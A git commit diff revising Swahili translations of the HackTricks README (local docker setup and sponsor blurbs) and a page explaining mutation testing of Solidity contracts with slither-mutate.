mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/README.md', 'src/linux-hardening/privilege-escalati
This commit is contained in:
parent
84d15d1943
commit
113111e14a
@ -2,9 +2,9 @@
|
||||
|
||||
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Nembo za Hacktricks na muundo wa mwendo na_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Nembo za Hacktricks na muundo wa mwendo uliofanywa na_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
### Endesha HackTricks kwenye kompyuta yako
|
||||
### Endesha HackTricks kwenye mashine yako
|
||||
```bash
|
||||
# Download latest version of hacktricks
|
||||
git clone https://github.com/HackTricks-wiki/hacktricks
|
||||
@ -31,7 +31,7 @@ export LANG="master" # Leave master for english
|
||||
# Run the docker container indicating the path to the hacktricks folder
|
||||
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
||||
```
|
||||
Nakili yako ya HackTricks itakuwa **inapatikana kwa [http://localhost:3337](http://localhost:3337)** baada ya <5 dakika (inahitaji kujenga kitabu, kuwa mvumilivu).
|
||||
Nakili yako ya HackTricks ya ndani itakuwa **available at [http://localhost:3337](http://localhost:3337)** baada ya <5 dakika (inahitaji kujenga kitabu, tafadhali vumilia).
|
||||
|
||||
## Wadhamini wa Kampuni
|
||||
|
||||
@ -39,11 +39,11 @@ Nakili yako ya HackTricks itakuwa **inapatikana kwa [http://localhost:3337](http
|
||||
|
||||
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) ni kampuni nzuri ya usalama wa mtandao ambayo kaulimbiu yao ni **HACK THE UNHACKABLE**. Wanatekeleza utafiti wao na kubuni zana zao za hacking ili **kutoa huduma kadhaa muhimu za usalama wa mtandao** kama pentesting, Red teams na mafunzo.
|
||||
[**STM Cyber**](https://www.stmcyber.com) ni kampuni bora ya cybersecurity whose slogan is **HACK THE UNHACKABLE**. Wanafanya utafiti wao wenyewe na kuendeleza zana zao za hacking ili kutoa huduma kadhaa muhimu za cybersecurity kama pentesting, Red teams na mafunzo.
|
||||
|
||||
Unaweza kuangalia **blog** yao katika [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
Unaweza kuangalia **blog** yao kwenye [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
**STM Cyber** pia inasaidia miradi ya chanzo wazi ya usalama wa mtandao kama HackTricks :)
|
||||
**STM Cyber** pia inaunga mkono miradi ya open source ya cybersecurity kama HackTricks :)
|
||||
|
||||
---
|
||||
|
||||
@ -51,7 +51,7 @@ Unaweza kuangalia **blog** yao katika [**https://blog.stmcyber.com**](https://bl
|
||||
|
||||
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) ni tukio muhimu zaidi la usalama wa mtandao nchini **Spain** na moja ya muhimu zaidi katika **Europe**. Kwa **kusudi la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa mkutano lenye shughuli nyingi kwa wataalamu wa teknolojia na usalama wa mtandao katika fani zote.
|
||||
[**RootedCON**](https://www.rootedcon.com) ni tukio muhimu zaidi la cybersecurity huko **Spain** na moja ya muhimu zaidi huko **Europe**. Kwa **lengo la kuendeleza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana pa moto kwa wataalamu wa teknolojia na cybersecurity wa aina zote.
|
||||
|
||||
{{#ref}}
|
||||
https://www.rootedcon.com/
|
||||
@ -63,9 +63,9 @@ https://www.rootedcon.com/
|
||||
|
||||
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** ni **#1 Barani Ulaya** ethical hacking na **bug bounty platform.**
|
||||
**Intigriti** ni **Europe's #1** ethical hacking na **bug bounty platform.**
|
||||
|
||||
**Bug bounty tip**: **jisajili** kwa **Intigriti**, jukwaa la premium la bug bounty lililotengenezwa na hackers, kwa hackers! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata bounties hadi **$100,000**!
|
||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata bounties hadi **$100,000**!
|
||||
|
||||
{{#ref}}
|
||||
https://go.intigriti.com/hacktricks
|
||||
@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
|
||||
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kujenga kwa urahisi na ku-automate workflows zinazoendeshwa na zana za jamii zilizoendelea zaidi ulimwenguni.
|
||||
Tumia [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kujenga kwa urahisi na **kuendesha workflows** zinazotokana na zana **most advanced** za jamii ya ulimwengu.
|
||||
|
||||
Pata Ufikiaji Leo:
|
||||
|
||||
@ -92,23 +92,23 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
|
||||
|
||||
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na hackers wenye uzoefu na bug bounty hunters!
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na hackers wenye uzoefu na hunters wa bug bounty!
|
||||
|
||||
- **Hacking Insights:** Shirikiana na maudhui yanayoingia ndani ya msisimko na changamoto za hacking
|
||||
- **Real-Time Hack News:** Kuwa updated na dunia ya hacking kupitia habari na maarifa ya wakati halisi
|
||||
- **Latest Announcements:** Pata taarifa za hivi punde kuhusu bounties mpya zinazozinduliwa na masasisho muhimu ya majukwaa
|
||||
- **Hacking Insights:** Shirikiana na maudhui yanayochunguza msisimko na changamoto za hacking
|
||||
- **Real-Time Hack News:** Endelea kufuatilia dunia ya hacking kwa habari za wakati halisi na ufahamu
|
||||
- **Latest Announcements:** Abiri taarifa za hivi punde kuhusu bug bounties zinazoanzishwa na sasisho muhimu za platform
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na top hackers leo!
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na hackers wakubwa leo!
|
||||
|
||||
---
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - Zana muhimu za penetration testing
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit
|
||||
|
||||
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Pata mtazamo wa hacker juu ya web apps, mtandao, na cloud yako**
|
||||
**Pata mtazamo wa hacker juu ya web apps, network, na cloud yako**
|
||||
|
||||
**Gundua na ripoti udhaifu muhimu unaoweza kutumika na wenye athari za biashara.** Tumia zana zetu 20+ za kawaida ili kupima uso wa mashambulizi, gundua masuala ya usalama yanayokuwezesha kuongeza vibali, na tumia exploits zilizooautomate kukusanya ushahidi muhimu, ukigeuza kazi yako kuwa ripoti za kushawishi.
|
||||
**Gundua na ripoti vulnerabilities kali, zinazoweza kutumika na zenye athari za kibiashara.** Tumia zana zetu 20+ maalum ili kuchora uso wa shambulio, kutafuta maswala ya usalama yanayokuruhusu kuongeza privileges, na kutumia exploits za moja kwa moja kukusanya ushahidi muhimu, ukibadilisha kazi yako kuwa ripoti za kuvutia.
|
||||
|
||||
{{#ref}}
|
||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
@ -120,14 +120,14 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
|
||||
|
||||
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi** inatoa APIs za wakati halisi haraka na kwa urahisi za ku-access search engine results. Wanascape search engines, kushughulikia proxies, kutatua captchas, na kuchambua data zote zilizo-structured kwa niaba yako.
|
||||
**SerpApi** inatoa APIs za haraka na rahisi za wakati halisi za **access search engine results**. Wanachukua data kutoka kwa search engines, wanashughulikia proxies, kutatua captchas, na kuchambua data zote za structured kwa niaba yako.
|
||||
|
||||
Usajili kwenye mmoja wa mipango ya SerpApi unajumuisha ufikiaji wa zaidi ya API tofauti 50 za kuchapa search engines mbalimbali, ikiwemo Google, Bing, Baidu, Yahoo, Yandex, na zaidi.\
|
||||
Tofauti na watoa huduma wengine, **SerpApi haichapi tu organic results**. Majibu ya SerpApi mara nyingi yanajumuisha matangazo yote, picha na video zilizo-inline, knowledge graphs, na vipengele vingine vilivyo kwenye matokeo ya utafutaji.
|
||||
Usajili wa moja ya mipango ya SerpApi unajumuisha ufikiaji wa zaidi ya APIs 50 tofauti za kuchonga search engines mbalimbali, ikiwa ni pamoja na Google, Bing, Baidu, Yahoo, Yandex, na zaidi.\
|
||||
Tofauti na wasambazaji wengine, **SerpApi haichongi tu organic results**. Majibu ya SerpApi mara nyingi yanajumuisha matangazo yote, picha na video za ndani, knowledge graphs, na vipengele vingine vinavyopatikana kwenye matokeo ya utafutaji.
|
||||
|
||||
Wateja wa sasa wa SerpApi ni pamoja na **Apple, Shopify, na GrubHub**.\
|
||||
Kwa habari zaidi angalia [**blog**](https://serpapi.com/blog/)**,** au jaribu mfano katika [**playground**](https://serpapi.com/playground)**.**\
|
||||
Unaweza **kufungua akaunti ya bure** [**hapa**](https://serpapi.com/users/sign_up)**.**
|
||||
Wateja wa sasa wa SerpApi ni pamoja na **Apple, Shopify, and GrubHub**.\
|
||||
Kwa taarifa zaidi angalia [**blog**](https://serpapi.com/blog/)**,** au jaribu mfano katika [**playground**](https://serpapi.com/playground)**.**\
|
||||
Unaweza **kuunda akaunti ya bure** [**here**](https://serpapi.com/users/sign_up)**.**
|
||||
|
||||
---
|
||||
|
||||
@ -135,7 +135,7 @@ Unaweza **kufungua akaunti ya bure** [**hapa**](https://serpapi.com/users/sign_u
|
||||
|
||||
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jifunze teknolojia na ujuzi unaohitajika kufanya utafiti wa udhaifu, penetration testing, na reverse engineering ili kulinda mobile applications na vifaa. **Bobea katika usalama wa iOS na Android** kupitia kozi zetu za on-demand na **pata cheti**:
|
||||
Jifunze teknolojia na ujuzi unaohitajika kufanya vulnerability research, penetration testing, na reverse engineering ili kulinda mobile applications na devices. **Mstaadi katika iOS na Android security** kupitia kozi zetu za on-demand na **pata certification**:
|
||||
|
||||
{{#ref}}
|
||||
https://academy.8ksec.io/
|
||||
@ -147,13 +147,13 @@ https://academy.8ksec.io/
|
||||
|
||||
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.net) ni kampuni ya kitaalamu ya usalama wa mtandao iliyo katika **Amsterdam** ambayo husaidia **kulinda** biashara **hapo duniani kote** dhidi ya tishio la hivi punde la usalama kwa kutoa **huduma za offensive-security** kwa mtazamo **wa kisasa**.
|
||||
[**WebSec**](https://websec.net) ni kampuni ya kitaalamu ya cybersecurity yenye makao yake **Amsterdam** ambayo husaidia **kulinda** biashara **kote duniani** dhidi ya tishio jipya la cybersecurity kwa kutoa **offensive-security services** kwa njia ya **kisasa**.
|
||||
|
||||
WebSec ni kampuni ya usalama ya kimataifa yenye ofisi huko Amsterdam na Wyoming. Wanatoa **huduma zote-katika-moja za usalama** ambazo zina maana wanashughulikia kila kitu; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing na mengi zaidi.
|
||||
WebSec ni kampuni ya kimataifa ya usalama yenye ofisi huko Amsterdam na Wyoming. Wanatoa **all-in-one security services** ambayo ina maana wanashughulikia kila kitu; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing na mengi zaidi.
|
||||
|
||||
Jambo jingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa tasnia WebSec wana **kujiamini mkubwa katika ujuzi wao**, hadi kiwango cha kuwahakikishia matokeo bora kabisa, inasema kwenye tovuti yao "**If we can't hack it, You don't pay it!**". Kwa maelezo zaidi angalia [**website**](https://websec.net/en/) yao na [**blog**](https://websec.net/blog/)!
|
||||
Jambo jingine la kuvutia kuhusu WebSec ni kwamba tofauti na wastani wa sekta WebSec ni **kwa ujasiri mkubwa katika ujuzi wao**, hadi kwa kiwango kwamba **wanahakikisha matokeo ya ubora bora**, inasema kwenye tovuti yao "**If we can't hack it, You don't pay it!**". Kwa habari zaidi tazama [**website**](https://websec.net/en/) na [**blog**](https://websec.net/blog/)!
|
||||
|
||||
Mbali na hayo WebSec pia ni **mshabiki wa kujitolea wa HackTricks.**
|
||||
Mbali na hayo WebSec pia ni **mchango thabiti kwa HackTricks.**
|
||||
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
|
||||
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
|
||||
|
||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) ni search engine ya data breach (leak). \
|
||||
Tunatoa random string search (kama google) juu ya aina zote za data leaks kubwa na ndogo --si tu kubwa-- juu ya data inayotoka vyanzo vingi. \
|
||||
People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, vipengele vyote ambavyo pentester anahitaji.\
|
||||
**HackTricks inaendelea kuwa jukwaa bora la kujifunza kwetu sote na tunajivunia kuwa wadhamini wake!**
|
||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) ni injini ya utafutaji ya data breach (leak). \
|
||||
Tunatoa random string search (like google) juu ya aina zote za data leaks kubwa na ndogo --sio tu kubwa-- juu ya data kutoka vyanzo mbalimbali. \
|
||||
Utafutaji wa watu, utafutaji kwa AI, utafutaji wa mashirika, API (OpenAPI) access, theHarvester integration, sifa zote ambazo pentester anahitaji.\
|
||||
**HackTricks inaendelea kuwa jukwaa zuri la kujifunzia kwetu sote na tunajivunia kuitegemea!**
|
||||
|
||||
{{#ref}}
|
||||
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
@ -182,12 +182,12 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
|
||||
|
||||
**Built for the field. Built around you.**\
|
||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) huunda na kutoa mafunzo ya usalama wa mtandao yenye ufanisi yameundwa na kuongozwa na wataalamu wa tasnia. Programu zao zinaenda zaidi ya nadharia ili kuwapangia timu uelewa wa kina na ujuzi wa utekelezaji, zikitumia mazingira maalum yanayoakisi tishio la ulimwengu wa kweli. Kwa maswali kuhusu mafunzo maalum, wasiliana nasi [**hapa**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
|
||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) hutoa na kusambaza mafunzo ya cybersecurity yaliyojengwa na kuongozwa na wataalamu wa sekta. Programu zao zinaenda zaidi ya nadharia ili kuwapatia timu uelewa wa kina na ujuzi wa vitendo, kwa kutumia mazingira maalum yanayoakisi tishio la ulimwengu halisi. Kwa maswali ya mafunzo maalum, wasiliana nasi [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
|
||||
|
||||
**Kile kinachofanya mafunzo yao kuwa tofauti:**
|
||||
* Vilivyojengwa kwa muktadha wa maudhui na maabara
|
||||
* Zinategemewa na zana na majukwaa ya kiwango cha juu
|
||||
* Zimetengenezwa na kufundishwa na wataalamu wa vitendo
|
||||
**Kile kinachowatofautisha katika mafunzo yao:**
|
||||
* Yaliyotengenezwa maalum yaliyobadilishwa na maabara
|
||||
* Yanaungwa mkono na zana na platforms za kiwango cha juu
|
||||
* Yameundwa na kufundishwa na watekelezaji
|
||||
|
||||
{{#ref}}
|
||||
https://cyberhelmets.com/courses/?ref=hacktricks
|
||||
@ -199,13 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
|
||||
|
||||
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
|
||||
|
||||
Last Tower Solutions hutoa huduma maalum za usalama wa mtandao kwa taasisi za **Elimu** na **FinTech**, ikilenga **penetration testing, cloud security assessments**, na **compliance readiness** (SOC 2, PCI-DSS, NIST). Timu yetu ni pamoja na wataalamu waliothibitishwa wa **OSCP na CISSP**, wakiwa na utaalamu wa kiufundi na ufahamu wa viwango vya tasnia kwa kila ushirikiano.
|
||||
Last Tower Solutions hutoa huduma maalum za cybersecurity kwa taasisi za **Education** na **FinTech**, kwa kuzingatia **penetration testing, cloud security assessments**, na **compliance readiness** (SOC 2, PCI-DSS, NIST). Timu yetu inajumuisha wataalamu waliothibitishwa wa **OSCP and CISSP**, wakileta ujuzi wa kina wa kiufundi na ufahamu wa viwango vya sekta kwa kila kazi.
|
||||
|
||||
Tunazidi skani za otomatiki kwa **upimaji wa mkono ulioongozwa na intelijensia** uliobinafsishwa kwa mazingira ya hatari kubwa. Kuanzia kulinda rekodi za wanafunzi hadi kulinda miamala ya kifedha, tunawasaidia mashirika kulinda yale muhimu zaidi.
|
||||
Tunazidi skana za moja kwa moja kwa **manual, intelligence-driven testing** iliyobinafsishwa kwa mazingira yenye hatari kubwa. Kuanzia kulinda rekodi za wanafunzi hadi kuwalinda miamala ya kifedha, tunasaidia mashirika kutetea yale yanayowalea.
|
||||
|
||||
_“Ulinzi wa ubora unahitaji kujua mashambulizi, tunatoa usalama kupitia uelewa.”_
|
||||
_“A quality defense requires knowing the offense, we provide security through understanding.”_
|
||||
|
||||
Kaa umejulishwa na up-to-date na maendeleo ya hivi punde katika usalama wa mtandao kwa kutembelea [**blog**](https://www.lasttowersolutions.com/blog).
|
||||
Endelea kupata habari na kusasishwa kuhusu kile kipya katika cybersecurity kwa kutembelea [**blog**](https://www.lasttowersolutions.com/blog).
|
||||
|
||||
{{#ref}}
|
||||
https://www.lasttowersolutions.com/
|
||||
@ -215,11 +215,11 @@ https://www.lasttowersolutions.com/
|
||||
|
||||
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
|
||||
|
||||
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||
<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||
|
||||
K8Studio IDE inawawezesha DevOps, DevSecOps, na developers kusimamia, kufuatilia, na kuilinda Kubernetes clusters kwa ufanisi. Tumia maarifa yetu yanayoendeshwa na AI, fremu ya usalama ya hali ya juu, na CloudMaps GUI inayofaa kuona clusters zako, kuelewa hali yao, na kuchukua hatua kwa kujiamini.
|
||||
K8Studio IDE inawawezesha DevOps, DevSecOps, na developers kusimamia, kufuatilia, na kulinda Kubernetes clusters kwa ufanisi. Tumia insights zetu za AI, fremu ya usalama ya juu, na CloudMaps GUI rahisi kuona clusters yako, kuelewa hali yake, na kuchukua hatua kwa ujasiri.
|
||||
|
||||
Pia, K8Studio ni **inayolingana na distributions zote kuu za kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift na zaidi).
|
||||
Zaidi ya hayo, K8Studio ni **compatible with all major kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
|
||||
|
||||
{{#ref}}
|
||||
https://k8studio.io/
|
||||
@ -228,15 +228,15 @@ https://k8studio.io/
|
||||
|
||||
---
|
||||
|
||||
## Leseni na Msamaha
|
||||
## Leseni & Hukumu
|
||||
|
||||
Angalia hizi katika:
|
||||
Angalia huko:
|
||||
|
||||
{{#ref}}
|
||||
welcome/hacktricks-values-and-faq.md
|
||||
{{#endref}}
|
||||
|
||||
## Takwimu za Github
|
||||
## Github Stats
|
||||
|
||||

|
||||
|
||||
|
@ -950,4 +950,4 @@
|
||||
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Mutation testing "tests your tests" kwa kuingiza mabadiliko madogo (mutants) kwa mfumo katika code yako ya Solidity na kuendesha tena test suite yako. Ikiwa test itashindwa, mutant anaangamizwa. Ikiwa tests bado zinafaulu, mutant huishi, ikifichua pengo la upofu katika test suite yako ambalo line/branch coverage haiwezi kugundua.
|
||||
Mutation testing "tests your tests" kwa kuingiza kwa mfumo mabadiliko madogo (mutants) kwenye code yako ya Solidity na kuendesha tena test suite yako. Ikiwa jaribio linashindwa, mutant huuliwa. Ikiwa majaribio bado yanapita, mutant huishi, ikifichua doa (blind spot) katika test suite yako ambalo coverage ya mstari/tawi haiwezi kugundua.
|
||||
|
||||
Wazo muhimu: Coverage inaonyesha code ilitekelezwa; mutation testing inaonyesha ikiwa tabia kwa kweli imethibitishwa.
|
||||
Wazo kuu: Coverage inaonyesha kuwa code ilitekelezwa; mutation testing inaonyesha kama tabia (behavior) imedhibitishwa kwa kweli.
|
||||
|
||||
## Kwa nini coverage inaweza kudanganya
|
||||
|
||||
Fikiria ukaguzi huu rahisi wa kikomo:
|
||||
Angalia ukaguzi huu rahisi wa kikomo:
|
||||
```solidity
|
||||
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
|
||||
if (deposit >= 1 ether) {
|
||||
@ -18,96 +18,96 @@ return false;
|
||||
}
|
||||
}
|
||||
```
|
||||
Unit tests ambazo zinachek tu thamani chini na thamani juu ya kizingiti zinaweza kufikia 100% line/branch coverage huku zikishindwa kuthibitisha mpaka wa usawa (==). Refactor kuwa `deposit >= 2 ether` bado ingepita mitihani hiyo, ikivunja mantiki ya protocol bila kuonekana.
|
||||
Jaribio za unit ambazo zinaangalia tu thamani chini na thamani juu ya kizingiti zinaweza kufikia 100% ujazo wa mistari/matawi, huku zikiwa hazijathibitisha ukomo wa usawa (==). Marekebisho ya `deposit >= 2 ether` bado yangepita katika mitihani hiyo, ikivunja kimya kimya mantiki ya protocol.
|
||||
|
||||
Mutation testing inaonyesha pengo hili kwa kubadilisha condition na kuthibitisha kwamba mitihani yako inashindwa.
|
||||
Mutation testing inaonyesha pengo hili kwa kubadilisha sharti na kuthibitisha kuwa mitihani yako itashindwa.
|
||||
|
||||
## Operator za mutation za kawaida za Solidity
|
||||
## Opereta za mutation za kawaida kwa Solidity
|
||||
|
||||
Slither’s mutation engine inatumia mabadiliko madogo mengi yanayobadilisha semantiki, kama:
|
||||
- Operator replacement: `+` ↔ `-`, `*` ↔ `/`, etc.
|
||||
- Assignment replacement: `+=` → `=`, `-=` → `=`
|
||||
- Constant replacement: non-zero → `0`, `true` ↔ `false`
|
||||
- Condition negation/replacement inside `if`/loops
|
||||
- Comment out whole lines (CR: Comment Replacement)
|
||||
- Replace a line with `revert()`
|
||||
- Data type swaps: e.g., `int128` → `int64`
|
||||
Slither’s mutation engine inatumia mabadiliko madogo yanayobadilisha semantiki, kama:
|
||||
- Ubadilishaji wa operator: `+` ↔ `-`, `*` ↔ `/`, n.k.
|
||||
- Ubadilishaji wa assignment: `+=` → `=`, `-=` → `=`
|
||||
- Ubadilishaji wa constant: isiyo-sifuri → `0`, `true` ↔ `false`
|
||||
- Kukanusha/kubadilisha sharti ndani ya `if`/loops
|
||||
- Kuweka mstari mzima kama comment (CR: Comment Replacement)
|
||||
- Badilisha mstari na `revert()`
|
||||
- Kubadilisha aina za data: mfano, `int128` → `int64`
|
||||
|
||||
Lengo: Ua 100% ya mutants waliotengenezwa, au toa sababu za wazi kwa wale wanaobaki.
|
||||
Lengo: Angamiza 100% ya mutants waliozalishwa, au toa sababu za wazi kwa waliobaki.
|
||||
|
||||
## Kuendesha mutation testing na slither-mutate
|
||||
## Kuendesha mutation testing kwa slither-mutate
|
||||
|
||||
Mahitaji: Slither v0.10.2+.
|
||||
|
||||
- List options and mutators:
|
||||
- Orodhesha chaguzi na mutators:
|
||||
```bash
|
||||
slither-mutate --help
|
||||
slither-mutate --list-mutators
|
||||
```
|
||||
- Mfano wa Foundry (rekodi matokeo na uhifadhi logi kamili):
|
||||
- Mfano wa Foundry (rekodi matokeo na uhifadhi kumbukumbu kamili):
|
||||
```bash
|
||||
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
||||
```
|
||||
- Ikiwa hutoitumia Foundry, badilisha `--test-cmd` na jinsi unavyotekeleza majaribio (kwa mfano, `npx hardhat test`, `npm test`).
|
||||
- Ikiwa hautumii Foundry, badilisha `--test-cmd` na jinsi unavyokimbia majaribio (kwa mfano, `npx hardhat test`, `npm test`).
|
||||
|
||||
Artifacts na ripoti huhifadhiwa katika `./mutation_campaign` kwa chaguo-msingi. Mutants zisizogunduliwa (zilizo hai) zinakopishwa huko kwa uchunguzi.
|
||||
Artefakti na ripoti huhifadhiwa katika `./mutation_campaign` kwa chaguo-msingi. Mutants wasiokamatwa (waliodumu) hukopiwa huko kwa uchunguzi.
|
||||
|
||||
### Kuelewa matokeo
|
||||
|
||||
Mistari ya ripoti zinaonekana kama:
|
||||
Mistari za ripoti zinaonekana kama ifuatavyo:
|
||||
```text
|
||||
INFO:Slither-Mutate:Mutating contract ContractName
|
||||
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
||||
```
|
||||
- Tagi ndani ya mabano ni jina fupi la mutator (kwa mfano, `CR` = Comment Replacement).
|
||||
- `UNCAUGHT` ina maana majaribio yalipita chini ya tabia iliyobadilishwa → ukosefu wa uthibitisho.
|
||||
- Lebo ndani ya mabano ni mutator alias (kwa mfano, `CR` = Comment Replacement).
|
||||
- `UNCAUGHT` ina maana majaribio yalipita chini ya tabia iliyobadilishwa → kukosa assertion.
|
||||
|
||||
## Kupunguza muda wa utekelezaji: weka kipaumbele mutanti zenye athari
|
||||
## Kupunguza runtime: peana kipaumbele kwa mutants wenye athari
|
||||
|
||||
Kampeni za mutation zinaweza kuchukua masaa au siku. Vidokezo vya kupunguza gharama:
|
||||
- Scope: Anza na mikataba/direktori muhimu tu, kisha panua.
|
||||
- Prioritize mutators: Ikiwa mutanti wa kipaumbele juu kwenye mstari anakaa (kwa mfano, mstari mzima umekomentiwa), unaweza kupuuza tofauti zenye kipaumbele cha chini kwa mstari huo.
|
||||
- Endesha majaribio kwa usawa ikiwa runner yako inaruhusu; tumia cache kwa dependencies/builds.
|
||||
- Fail-fast: simama mapema wakati mabadiliko yanaonyesha wazi ukosefu wa uthibitisho.
|
||||
Kampeni za mutation zinaweza kuchukua saa au siku. Vidokezo vya kupunguza gharama:
|
||||
- Scope: Anza na contracts/directories muhimu tu, kisha panua.
|
||||
- Prioritize mutators: Ikiwa mutant wa kipaumbele juu ya mstari anaishi (kwa mfano, mstari mzima umewekwa kama comment), unaweza kuruka varianti zenye kipaumbele kidogo kwa mstari huo.
|
||||
- Parallelize tests ikiwa runner yako inaruhusu; tumia cache ya dependencies/builds.
|
||||
- Fail-fast: simama mapema wakati mabadiliko yanaonyesha wazi pengo la assertion.
|
||||
|
||||
## Mtiririko wa kazi wa triage kwa mutanti waliobaki
|
||||
## Triage workflow kwa mutants wastaajabika
|
||||
|
||||
1) Angalia mstari uliobadilishwa na tabia yake.
|
||||
- Rudia ndani ya mazingira ya ndani kwa kuingiza mstari uliobadilishwa na kuendesha test iliyojikita.
|
||||
1) Chunguza mstari uliobadilishwa na tabia.
|
||||
- Reproduce locally kwa kutumia mstari uliobadilishwa na kuendesha test iliyolenga.
|
||||
|
||||
2) Imarisha majaribio ili yathibishe hali, si tu thamani zinazorejeshwa.
|
||||
- Ongeza ukaguzi wa mipaka ya usawa (kwa mfano, test threshold `==`).
|
||||
- Thibitisha masharti ya baada: salio, total supply, athari za idhini, na matukio yaliyotolewa.
|
||||
2) Imarisha tests ili kuassert state, si thamani za kurudisha tu.
|
||||
- Ongeza checks za mipaka ya usawa (kwa mfano, test threshold `==`).
|
||||
- Assert post-conditions: balances, total supply, athari za authorization, na event zilizotolewa.
|
||||
|
||||
3) Badilisha mocks zilizoruhusu mno kwa tabia halisi.
|
||||
- Hakikisha mocks zinafanya enforced transfers, njia za kushindwa, na utoaji wa matukio yanayotokea on-chain.
|
||||
3) Badilisha mocks zinazoruhusu kupita kiasi na tabia halisi.
|
||||
- Hakikisha mocks zinetekeleza transfers, failure paths, na event emissions zinazotokea on-chain.
|
||||
|
||||
